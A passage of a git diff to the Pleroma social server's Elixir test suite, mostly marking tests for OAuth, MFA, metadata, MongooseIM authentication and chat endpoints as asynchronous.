	[rel: "alternate", type: "application/atom+xml", href: "/users/lain/feed.atom"], []}
	]
	end
	end
	diff --git a/test/pleroma/web/metadata/providers/rel_me_test.exs b/test/pleroma/web/metadata/providers/rel_me_test.exs
	index 2293d6e13..ae449c052 100644
	--- a/test/pleroma/web/metadata/providers/rel_me_test.exs
	+++ b/test/pleroma/web/metadata/providers/rel_me_test.exs
	@@ -1,21 +1,21 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Metadata.Providers.RelMeTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	alias Pleroma.Web.Metadata.Providers.RelMe

	test "it renders all links with rel='me' from user bio" do
	bio =
	~s(<a href="https://some-link.com">https://some-link.com</a> <a rel="me" href="https://another-link.com">https://another-link.com</a> <link href="http://some.com"> <link rel="me" href="http://some3.com">)

	user = insert(:user, %{bio: bio})

	assert RelMe.build_tags(%{user: user}) == [
	{:link, [rel: "me", href: "http://some3.com"], []},
	{:link, [rel: "me", href: "https://another-link.com"], []}
	]
	end
	end
	diff --git a/test/pleroma/web/metadata/utils_test.exs b/test/pleroma/web/metadata/utils_test.exs
	index 8183256d8..3794db766 100644
	--- a/test/pleroma/web/metadata/utils_test.exs
	+++ b/test/pleroma/web/metadata/utils_test.exs
	@@ -1,32 +1,32 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Metadata.UtilsTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	import Pleroma.Factory
	alias Pleroma.Web.Metadata.Utils

	describe "scrub_html_and_truncate/1" do
	test "it returns text without encode HTML" do
	user = insert(:user)

	note =
	insert(:note, %{
	data: %{
	"actor" => user.ap_id,
	"id" => "https://pleroma.gov/objects/whatever",
	"content" => "Pleroma's really cool!"
	}
	})

	assert Utils.scrub_html_and_truncate(note) == "Pleroma's really cool!"
	end
	end

	describe "scrub_html_and_truncate/2" do
	test "it returns text without encode HTML" do
	assert Utils.scrub_html_and_truncate("Pleroma's really cool!") == "Pleroma's really cool!"
	end
	end
	end
	diff --git a/test/pleroma/web/mongoose_im_controller_test.exs b/test/pleroma/web/mongoose_im_controller_test.exs
	index e3a8aa3d8..4590e1296 100644
	--- a/test/pleroma/web/mongoose_im_controller_test.exs
	+++ b/test/pleroma/web/mongoose_im_controller_test.exs
	@@ -1,81 +1,81 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MongooseIMControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true
	import Pleroma.Factory

	test "/user_exists", %{conn: conn} do
	_user = insert(:user, nickname: "lain")
	_remote_user = insert(:user, nickname: "alice", local: false)
	_deactivated_user = insert(:user, nickname: "konata", deactivated: true)

	res =
	conn
	\|> get(mongoose_im_path(conn, :user_exists), user: "lain")
	\|> json_response(200)

	assert res == true

	res =
	conn
	\|> get(mongoose_im_path(conn, :user_exists), user: "alice")
	\|> json_response(404)

	assert res == false

	res =
	conn
	\|> get(mongoose_im_path(conn, :user_exists), user: "bob")
	\|> json_response(404)

	assert res == false

	res =
	conn
	\|> get(mongoose_im_path(conn, :user_exists), user: "konata")
	\|> json_response(404)

	assert res == false
	end

	test "/check_password", %{conn: conn} do
	user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt("cool"))

	_deactivated_user =
	insert(:user,
	nickname: "konata",
	deactivated: true,
	password_hash: Pbkdf2.hash_pwd_salt("cool")
	)

	res =
	conn
	\|> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "cool")
	\|> json_response(200)

	assert res == true

	res =
	conn
	\|> get(mongoose_im_path(conn, :check_password), user: user.nickname, pass: "uncool")
	\|> json_response(403)

	assert res == false

	res =
	conn
	\|> get(mongoose_im_path(conn, :check_password), user: "konata", pass: "cool")
	\|> json_response(404)

	assert res == false

	res =
	conn
	\|> get(mongoose_im_path(conn, :check_password), user: "nobody", pass: "cool")
	\|> json_response(404)

	assert res == false
	end
	end
	diff --git a/test/pleroma/web/o_auth/app_test.exs b/test/pleroma/web/o_auth/app_test.exs
	index 993a490e0..24d7049f1 100644
	--- a/test/pleroma/web/o_auth/app_test.exs
	+++ b/test/pleroma/web/o_auth/app_test.exs
	@@ -1,44 +1,44 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.AppTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.OAuth.App
	import Pleroma.Factory

	describe "get_or_make/2" do
	test "gets exist app" do
	attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
	app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]}))
	{:ok, %App{} = exist_app} = App.get_or_make(attrs, [])
	assert exist_app == app
	end

	test "make app" do
	attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
	{:ok, %App{} = app} = App.get_or_make(attrs, ["write"])
	assert app.scopes == ["write"]
	end

	test "gets exist app and updates scopes" do
	attrs = %{client_name: "Mastodon-Local", redirect_uris: "."}
	app = insert(:oauth_app, Map.merge(attrs, %{scopes: ["read", "write"]}))
	{:ok, %App{} = exist_app} = App.get_or_make(attrs, ["read", "write", "follow", "push"])
	assert exist_app.id == app.id
	assert exist_app.scopes == ["read", "write", "follow", "push"]
	end

	test "has unique client_id" do
	insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop")

	error =
	catch_error(insert(:oauth_app, client_name: "", redirect_uris: "", client_id: "boop"))

	assert %Ecto.ConstraintError{} = error
	assert error.constraint == "apps_client_id_index"
	assert error.type == :unique
	end
	end
	end
	diff --git a/test/pleroma/web/o_auth/authorization_test.exs b/test/pleroma/web/o_auth/authorization_test.exs
	index d74b26cf8..d1920962c 100644
	--- a/test/pleroma/web/o_auth/authorization_test.exs
	+++ b/test/pleroma/web/o_auth/authorization_test.exs
	@@ -1,77 +1,77 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.AuthorizationTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Web.OAuth.App
	alias Pleroma.Web.OAuth.Authorization
	import Pleroma.Factory

	setup do
	{:ok, app} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client",
	scopes: ["read", "write"],
	redirect_uris: "url"
	})
	)

	%{app: app}
	end

	test "create an authorization token for a valid app", %{app: app} do
	user = insert(:user)

	{:ok, auth1} = Authorization.create_authorization(app, user)
	assert auth1.scopes == app.scopes

	{:ok, auth2} = Authorization.create_authorization(app, user, ["read"])
	assert auth2.scopes == ["read"]

	for auth <- [auth1, auth2] do
	assert auth.user_id == user.id
	assert auth.app_id == app.id
	assert String.length(auth.token) > 10
	assert auth.used == false
	end
	end

	test "use up a token", %{app: app} do
	user = insert(:user)

	{:ok, auth} = Authorization.create_authorization(app, user)

	{:ok, auth} = Authorization.use_token(auth)

	assert auth.used == true

	assert {:error, "already used"} == Authorization.use_token(auth)

	expired_auth = %Authorization{
	user_id: user.id,
	app_id: app.id,
	valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -10),
	token: "mytoken",
	used: false
	}

	{:ok, expired_auth} = Repo.insert(expired_auth)

	assert {:error, "token expired"} == Authorization.use_token(expired_auth)
	end

	test "delete authorizations", %{app: app} do
	user = insert(:user)

	{:ok, auth} = Authorization.create_authorization(app, user)
	{:ok, auth} = Authorization.use_token(auth)

	Authorization.delete_user_authorizations(user)

	{_, invalid} = Authorization.use_token(auth)

	assert auth != invalid
	end
	end
	diff --git a/test/pleroma/web/o_auth/mfa_controller_test.exs b/test/pleroma/web/o_auth/mfa_controller_test.exs
	index 6ecd0f6c9..bc50d8d18 100644
	--- a/test/pleroma/web/o_auth/mfa_controller_test.exs
	+++ b/test/pleroma/web/o_auth/mfa_controller_test.exs
	@@ -1,304 +1,304 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.MFAControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true
	import Pleroma.Factory

	alias Pleroma.MFA
	alias Pleroma.MFA.BackupCodes
	alias Pleroma.MFA.TOTP
	alias Pleroma.Repo
	alias Pleroma.Web.OAuth.Authorization
	alias Pleroma.Web.OAuth.OAuthController

	setup %{conn: conn} do
	otp_secret = TOTP.generate_secret()

	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	backup_codes: [Pbkdf2.hash_pwd_salt("test-code")],
	totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true}
	}
	)

	app = insert(:oauth_app)
	{:ok, conn: conn, user: user, app: app}
	end

	describe "show" do
	setup %{conn: conn, user: user, app: app} do
	mfa_token =
	insert(:mfa_token,
	user: user,
	authorization: build(:oauth_authorization, app: app, scopes: ["write"])
	)

	{:ok, conn: conn, mfa_token: mfa_token}
	end

	test "GET /oauth/mfa renders mfa forms", %{conn: conn, mfa_token: mfa_token} do
	conn =
	get(
	conn,
	"/oauth/mfa",
	%{
	"mfa_token" => mfa_token.token,
	"state" => "a_state",
	"redirect_uri" => "http://localhost:8080/callback"
	}
	)

	assert response = html_response(conn, 200)
	assert response =~ "Two-factor authentication"
	assert response =~ mfa_token.token
	assert response =~ "http://localhost:8080/callback"
	end

	test "GET /oauth/mfa renders mfa recovery forms", %{conn: conn, mfa_token: mfa_token} do
	conn =
	get(
	conn,
	"/oauth/mfa",
	%{
	"mfa_token" => mfa_token.token,
	"state" => "a_state",
	"redirect_uri" => "http://localhost:8080/callback",
	"challenge_type" => "recovery"
	}
	)

	assert response = html_response(conn, 200)
	assert response =~ "Two-factor recovery"
	assert response =~ mfa_token.token
	assert response =~ "http://localhost:8080/callback"
	end
	end

	describe "verify" do
	setup %{conn: conn, user: user, app: app} do
	mfa_token =
	insert(:mfa_token,
	user: user,
	authorization: build(:oauth_authorization, app: app, scopes: ["write"])
	)

	{:ok, conn: conn, user: user, mfa_token: mfa_token, app: app}
	end

	test "POST /oauth/mfa/verify, verify totp code", %{
	conn: conn,
	user: user,
	mfa_token: mfa_token,
	app: app
	} do
	otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret)

	conn =
	conn
	\|> post("/oauth/mfa/verify", %{
	"mfa" => %{
	"mfa_token" => mfa_token.token,
	"challenge_type" => "totp",
	"code" => otp_token,
	"state" => "a_state",
	"redirect_uri" => OAuthController.default_redirect_uri(app)
	}
	})

	target = redirected_to(conn)
	target_url = %URI{URI.parse(target) \| query: nil} \|> URI.to_string()
	query = URI.parse(target).query \|> URI.query_decoder() \|> Map.new()
	assert %{"state" => "a_state", "code" => code} = query
	assert target_url == OAuthController.default_redirect_uri(app)
	auth = Repo.get_by(Authorization, token: code)
	assert auth.scopes == ["write"]
	end

	test "POST /oauth/mfa/verify, verify recovery code", %{
	conn: conn,
	mfa_token: mfa_token,
	app: app
	} do
	conn =
	conn
	\|> post("/oauth/mfa/verify", %{
	"mfa" => %{
	"mfa_token" => mfa_token.token,
	"challenge_type" => "recovery",
	"code" => "test-code",
	"state" => "a_state",
	"redirect_uri" => OAuthController.default_redirect_uri(app)
	}
	})

	target = redirected_to(conn)
	target_url = %URI{URI.parse(target) \| query: nil} \|> URI.to_string()
	query = URI.parse(target).query \|> URI.query_decoder() \|> Map.new()
	assert %{"state" => "a_state", "code" => code} = query
	assert target_url == OAuthController.default_redirect_uri(app)
	auth = Repo.get_by(Authorization, token: code)
	assert auth.scopes == ["write"]
	end
	end

	describe "challenge/totp" do
	test "returns access token with valid code", %{conn: conn, user: user, app: app} do
	otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret)

	mfa_token =
	insert(:mfa_token,
	user: user,
	authorization: build(:oauth_authorization, app: app, scopes: ["write"])
	)

	response =
	conn
	\|> post("/oauth/mfa/challenge", %{
	"mfa_token" => mfa_token.token,
	"challenge_type" => "totp",
	"code" => otp_token,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})
	\|> json_response(:ok)

	ap_id = user.ap_id

	assert match?(
	%{
	"access_token" => _,
	"me" => ^ap_id,
	"refresh_token" => _,
	"scope" => "write",
	"token_type" => "Bearer"
	},
	response
	)
	end

	test "returns errors when mfa token invalid", %{conn: conn, user: user, app: app} do
	otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret)

	response =
	conn
	\|> post("/oauth/mfa/challenge", %{
	"mfa_token" => "XXX",
	"challenge_type" => "totp",
	"code" => otp_token,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})
	\|> json_response(400)

	assert response == %{"error" => "Invalid code"}
	end

	test "returns error when otp code is invalid", %{conn: conn, user: user, app: app} do
	mfa_token = insert(:mfa_token, user: user)

	response =
	conn
	\|> post("/oauth/mfa/challenge", %{
	"mfa_token" => mfa_token.token,
	"challenge_type" => "totp",
	"code" => "XXX",
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})
	\|> json_response(400)

	assert response == %{"error" => "Invalid code"}
	end

	test "returns error when client credentails is wrong ", %{conn: conn, user: user} do
	otp_token = TOTP.generate_token(user.multi_factor_authentication_settings.totp.secret)
	mfa_token = insert(:mfa_token, user: user)

	response =
	conn
	\|> post("/oauth/mfa/challenge", %{
	"mfa_token" => mfa_token.token,
	"challenge_type" => "totp",
	"code" => otp_token,
	"client_id" => "xxx",
	"client_secret" => "xxx"
	})
	\|> json_response(400)

	assert response == %{"error" => "Invalid code"}
	end
	end

	describe "challenge/recovery" do
	setup %{conn: conn} do
	app = insert(:oauth_app)
	{:ok, conn: conn, app: app}
	end

	test "returns access token with valid code", %{conn: conn, app: app} do
	otp_secret = TOTP.generate_secret()

	[code \| _] = backup_codes = BackupCodes.generate()

	hashed_codes =
	backup_codes
	\|> Enum.map(&Pbkdf2.hash_pwd_salt(&1))

	user =
	insert(:user,
	multi_factor_authentication_settings: %MFA.Settings{
	enabled: true,
	backup_codes: hashed_codes,
	totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true}
	}
	)

	mfa_token =
	insert(:mfa_token,
	user: user,
	authorization: build(:oauth_authorization, app: app, scopes: ["write"])
	)

	response =
	conn
	\|> post("/oauth/mfa/challenge", %{
	"mfa_token" => mfa_token.token,
	"challenge_type" => "recovery",
	"code" => code,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})
	\|> json_response(:ok)

	ap_id = user.ap_id

	assert match?(
	%{
	"access_token" => _,
	"me" => ^ap_id,
	"refresh_token" => _,
	"scope" => "write",
	"token_type" => "Bearer"
	},
	response
	)

	error_response =
	conn
	\|> post("/oauth/mfa/challenge", %{
	"mfa_token" => mfa_token.token,
	"challenge_type" => "recovery",
	"code" => code,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})
	\|> json_response(400)

	assert error_response == %{"error" => "Invalid code"}
	end
	end
	end
	diff --git a/test/pleroma/web/o_auth/token/utils_test.exs b/test/pleroma/web/o_auth/token/utils_test.exs
	index a610d92f8..3444692ec 100644
	--- a/test/pleroma/web/o_auth/token/utils_test.exs
	+++ b/test/pleroma/web/o_auth/token/utils_test.exs
	@@ -1,53 +1,53 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.Token.UtilsTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Web.OAuth.Token.Utils
	import Pleroma.Factory

	describe "fetch_app/1" do
	test "returns error when credentials is invalid" do
	assert {:error, :not_found} =
	Utils.fetch_app(%Plug.Conn{params: %{"client_id" => 1, "client_secret" => "x"}})
	end

	test "returns App by params credentails" do
	app = insert(:oauth_app)

	assert {:ok, load_app} =
	Utils.fetch_app(%Plug.Conn{
	params: %{"client_id" => app.client_id, "client_secret" => app.client_secret}
	})

	assert load_app == app
	end

	test "returns App by header credentails" do
	app = insert(:oauth_app)
	header = "Basic " <> Base.encode64("#{app.client_id}:#{app.client_secret}")

	conn =
	%Plug.Conn{}
	\|> Plug.Conn.put_req_header("authorization", header)

	assert {:ok, load_app} = Utils.fetch_app(conn)
	assert load_app == app
	end
	end

	describe "format_created_at/1" do
	test "returns formatted created at" do
	token = insert(:oauth_token)
	date = Utils.format_created_at(token)

	token_date =
	token.inserted_at
	\|> DateTime.from_naive!("Etc/UTC")
	\|> DateTime.to_unix()

	assert token_date == date
	end
	end
	end
	diff --git a/test/pleroma/web/o_auth/token_test.exs b/test/pleroma/web/o_auth/token_test.exs
	index c88b9cc98..866f1c00a 100644
	--- a/test/pleroma/web/o_auth/token_test.exs
	+++ b/test/pleroma/web/o_auth/token_test.exs
	@@ -1,72 +1,72 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.OAuth.TokenTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true
	alias Pleroma.Repo
	alias Pleroma.Web.OAuth.App
	alias Pleroma.Web.OAuth.Authorization
	alias Pleroma.Web.OAuth.Token

	import Pleroma.Factory

	test "exchanges a auth token for an access token, preserving `scopes`" do
	{:ok, app} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client",
	scopes: ["read", "write"],
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth} = Authorization.create_authorization(app, user, ["read"])
	assert auth.scopes == ["read"]

	{:ok, token} = Token.exchange_token(app, auth)

	assert token.app_id == app.id
	assert token.user_id == user.id
	assert token.scopes == auth.scopes
	assert String.length(token.token) > 10
	assert String.length(token.refresh_token) > 10

	auth = Repo.get(Authorization, auth.id)
	{:error, "already used"} = Token.exchange_token(app, auth)
	end

	test "deletes all tokens of a user" do
	{:ok, app1} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client1",
	scopes: ["scope"],
	redirect_uris: "url"
	})
	)

	{:ok, app2} =
	Repo.insert(
	App.register_changeset(%App{}, %{
	client_name: "client2",
	scopes: ["scope"],
	redirect_uris: "url"
	})
	)

	user = insert(:user)

	{:ok, auth1} = Authorization.create_authorization(app1, user)
	{:ok, auth2} = Authorization.create_authorization(app2, user)

	{:ok, _token1} = Token.exchange_token(app1, auth1)
	{:ok, _token2} = Token.exchange_token(app2, auth2)

	{tokens, _} = Token.delete_user_tokens(user)

	assert tokens == 2
	end
	end
	diff --git a/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs
	index a6c9d0c1b..415c3decd 100644
	--- a/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs
	+++ b/test/pleroma/web/pleroma_api/controllers/chat_controller_test.exs
	@@ -1,442 +1,442 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only
	defmodule Pleroma.Web.PleromaAPI.ChatControllerTest do
	use Pleroma.Web.ConnCase

	alias Pleroma.Chat
	alias Pleroma.Chat.MessageReference
	alias Pleroma.Object
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "POST /api/v1/pleroma/chats/:id/messages/:message_id/read" do
	setup do: oauth_access(["write:chats"])

	test "it marks one message as read", %{conn: conn, user: user} do
	other_user = insert(:user)

	{:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup")
	{:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2")
	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)
	object = Object.normalize(create, false)
	cm_ref = MessageReference.for_chat_and_object(chat, object)

	assert cm_ref.unread == true

	result =
	conn
	\|> post("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}/read")
	\|> json_response_and_validate_schema(200)

	assert result["unread"] == false

	cm_ref = MessageReference.for_chat_and_object(chat, object)

	assert cm_ref.unread == false
	end
	end

	describe "POST /api/v1/pleroma/chats/:id/read" do
	setup do: oauth_access(["write:chats"])

	test "given a `last_read_id`, it marks everything until then as read", %{
	conn: conn,
	user: user
	} do
	other_user = insert(:user)

	{:ok, create} = CommonAPI.post_chat_message(other_user, user, "sup")
	{:ok, _create} = CommonAPI.post_chat_message(other_user, user, "sup part 2")
	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)
	object = Object.normalize(create, false)
	cm_ref = MessageReference.for_chat_and_object(chat, object)

	assert cm_ref.unread == true

	result =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/pleroma/chats/#{chat.id}/read", %{"last_read_id" => cm_ref.id})
	\|> json_response_and_validate_schema(200)

	assert result["unread"] == 1

	cm_ref = MessageReference.for_chat_and_object(chat, object)

	assert cm_ref.unread == false
	end
	end

	describe "POST /api/v1/pleroma/chats/:id/messages" do
	setup do: oauth_access(["write:chats"])

	test "it posts a message to the chat", %{conn: conn, user: user} do
	other_user = insert(:user)

	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)

	result =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> put_req_header("idempotency-key", "123")
	\|> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "Hallo!!"})
	\|> json_response_and_validate_schema(200)

	assert result["content"] == "Hallo!!"
	assert result["chat_id"] == chat.id \|> to_string()
	assert result["idempotency_key"] == "123"
	end

	test "it fails if there is no content", %{conn: conn, user: user} do
	other_user = insert(:user)

	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)

	result =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/pleroma/chats/#{chat.id}/messages")
	\|> json_response_and_validate_schema(400)

	assert %{"error" => "no_content"} == result
	end

	test "it works with an attachment", %{conn: conn, user: user} do
	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	{:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)

	other_user = insert(:user)

	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)

	result =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{
	"media_id" => to_string(upload.id)
	})
	\|> json_response_and_validate_schema(200)

	assert result["attachment"]
	end

	test "gets MRF reason when rejected", %{conn: conn, user: user} do
	clear_config([:mrf_keyword, :reject], ["GNO"])
	clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy])

	other_user = insert(:user)

	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)

	result =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/pleroma/chats/#{chat.id}/messages", %{"content" => "GNO/Linux"})
	\|> json_response_and_validate_schema(422)

	assert %{"error" => "[KeywordPolicy] Matches with rejected keyword"} == result
	end
	end

	describe "DELETE /api/v1/pleroma/chats/:id/messages/:message_id" do
	setup do: oauth_access(["write:chats"])

	test "it deletes a message from the chat", %{conn: conn, user: user} do
	recipient = insert(:user)

	{:ok, message} =
	CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend")

	{:ok, other_message} = CommonAPI.post_chat_message(recipient, user, "nico nico ni")

	object = Object.normalize(message, false)

	chat = Chat.get(user.id, recipient.ap_id)

	cm_ref = MessageReference.for_chat_and_object(chat, object)

	# Deleting your own message removes the message and the reference
	result =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}")
	\|> json_response_and_validate_schema(200)

	assert result["id"] == cm_ref.id
	refute MessageReference.get_by_id(cm_ref.id)
	assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id)

	# Deleting other people's messages just removes the reference
	object = Object.normalize(other_message, false)
	cm_ref = MessageReference.for_chat_and_object(chat, object)

	result =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> delete("/api/v1/pleroma/chats/#{chat.id}/messages/#{cm_ref.id}")
	\|> json_response_and_validate_schema(200)

	assert result["id"] == cm_ref.id
	refute MessageReference.get_by_id(cm_ref.id)
	assert Object.get_by_id(object.id)
	end
	end

	describe "GET /api/v1/pleroma/chats/:id/messages" do
	setup do: oauth_access(["read:chats"])

	test "it paginates", %{conn: conn, user: user} do
	recipient = insert(:user)

	Enum.each(1..30, fn _ ->
	{:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey")
	end)

	chat = Chat.get(user.id, recipient.ap_id)

	response = get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages")
	result = json_response_and_validate_schema(response, 200)

	[next, prev] = get_resp_header(response, "link") \|> hd() \|> String.split(", ")
	api_endpoint = "/api/v1/pleroma/chats/"

	assert String.match?(
	next,
	~r(#{api_endpoint}./messages\?id=.&limit=\d+&max_id=.*; rel=\"next\"$)
	)

	assert String.match?(
	prev,
	~r(#{api_endpoint}./messages\?id=.&limit=\d+&min_id=.*; rel=\"prev\"$)
	)

	assert length(result) == 20

	response =
	get(conn, "/api/v1/pleroma/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}")

	result = json_response_and_validate_schema(response, 200)
	[next, prev] = get_resp_header(response, "link") \|> hd() \|> String.split(", ")

	assert String.match?(
	next,
	~r(#{api_endpoint}./messages\?id=.&limit=\d+&max_id=.*; rel=\"next\"$)
	)

	assert String.match?(
	prev,
	~r(#{api_endpoint}./messages\?id=.&limit=\d+&max_id=.&min_id=.; rel=\"prev\"$)
	)

	assert length(result) == 10
	end

	test "it returns the messages for a given chat", %{conn: conn, user: user} do
	other_user = insert(:user)
	third_user = insert(:user)

	{:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey")
	{:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey")
	{:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?")
	{:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?")

	chat = Chat.get(user.id, other_user.ap_id)

	result =
	conn
	\|> get("/api/v1/pleroma/chats/#{chat.id}/messages")
	\|> json_response_and_validate_schema(200)

	result
	\|> Enum.each(fn message ->
	assert message["chat_id"] == chat.id \|> to_string()
	end)

	assert length(result) == 3

	# Trying to get the chat of a different user
	other_user_chat = Chat.get(other_user.id, user.ap_id)

	conn
	\|> get("/api/v1/pleroma/chats/#{other_user_chat.id}/messages")
	\|> json_response_and_validate_schema(404)
	end
	end

	describe "POST /api/v1/pleroma/chats/by-account-id/:id" do
	setup do: oauth_access(["write:chats"])

	test "it creates or returns a chat", %{conn: conn} do
	other_user = insert(:user)

	result =
	conn
	\|> post("/api/v1/pleroma/chats/by-account-id/#{other_user.id}")
	\|> json_response_and_validate_schema(200)

	assert result["id"]
	end
	end

	describe "GET /api/v1/pleroma/chats/:id" do
	setup do: oauth_access(["read:chats"])

	test "it returns a chat", %{conn: conn, user: user} do
	other_user = insert(:user)

	{:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id)

	result =
	conn
	\|> get("/api/v1/pleroma/chats/#{chat.id}")
	\|> json_response_and_validate_schema(200)

	assert result["id"] == to_string(chat.id)
	end
	end

	describe "GET /api/v1/pleroma/chats" do
	setup do: oauth_access(["read:chats"])

	test "it does not return chats with deleted users", %{conn: conn, user: user} do
	recipient = insert(:user)
	{:ok, _} = Chat.get_or_create(user.id, recipient.ap_id)

	Pleroma.Repo.delete(recipient)
	User.invalidate_cache(recipient)

	result =
	conn
	\|> get("/api/v1/pleroma/chats")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 0
	end

	test "it does not return chats with users you blocked", %{conn: conn, user: user} do
	recipient = insert(:user)

	{:ok, _} = Chat.get_or_create(user.id, recipient.ap_id)

	result =
	conn
	\|> get("/api/v1/pleroma/chats")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 1

	User.block(user, recipient)

	result =
	conn
	\|> get("/api/v1/pleroma/chats")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 0
	end

	test "it does not return chats with users you muted", %{conn: conn, user: user} do
	recipient = insert(:user)

	{:ok, _} = Chat.get_or_create(user.id, recipient.ap_id)

	result =
	conn
	\|> get("/api/v1/pleroma/chats")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 1

	User.mute(user, recipient)

	result =
	conn
	\|> get("/api/v1/pleroma/chats")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 0

	result =
	conn
	\|> get("/api/v1/pleroma/chats?with_muted=true")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 1
	end

	test "it returns all chats", %{conn: conn, user: user} do
	Enum.each(1..30, fn _ ->
	recipient = insert(:user)
	{:ok, _} = Chat.get_or_create(user.id, recipient.ap_id)
	end)

	result =
	conn
	\|> get("/api/v1/pleroma/chats")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 30
	end

	test "it return a list of chats the current user is participating in, in descending order of updates",
	%{conn: conn, user: user} do
	har = insert(:user)
	jafnhar = insert(:user)
	tridi = insert(:user)

	{:ok, chat_1} = Chat.get_or_create(user.id, har.ap_id)
	- :timer.sleep(1000)
